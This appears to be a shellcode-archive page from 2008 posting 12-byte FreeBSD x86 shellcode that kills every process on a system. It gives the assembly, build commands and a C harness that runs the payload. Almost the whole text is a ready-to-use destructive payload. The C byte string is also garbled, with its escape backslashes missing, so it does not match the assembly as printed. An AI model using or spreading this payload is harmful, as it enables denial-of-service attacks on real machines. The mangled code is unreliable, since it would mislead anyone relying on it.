[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : freebsd/x86 kill all processes 12 bytes
# Published : 2008-09-09
# Author : suN8Hclf
# Previous Title : solaris/sparc connect-back (with XNOR encoded session) 600 bytes
# Next Title : linux/x86 system-beep shellcode 45 bytes


***(C)oDed bY suN8Hclf***
       DaRk-CodeRs Group productions, kid
 [FreeBSD x86 kill all procesess 12 bytes shellcode]


Compile:
nasm -f elf code.asm
ld -e _start -o code code.o

Assembly code:
---------------------code.asm-------------------
section .text
global _start

_start:
xor eax, eax
push byte 9 ; SIGKILL
dec eax
push eax    ; -1 (0xffffffff)
inc eax
mov al, 37  ;kill() syscall number, check /usr/src/sys/kern/syscalls.master for details
push eax
int 0x80
---------------------code.asm-------------------

And C code:
---------------------code.c---------------------
#include <stdio.h>

char shellcode[]=
"x31xc0x6ax09x48x50x40xb0x25x50xcdx80";

int main()
{
int (*func)();
func=(int (*)())shellcode;
(int)(*func)();
}
---------------------code.c---------------------


Greetz: all DaRk-CodeRs guys, e.wiZz!, doctor
Visit : www.dark-coders.pl

# www.Syue.com [2008-09-09]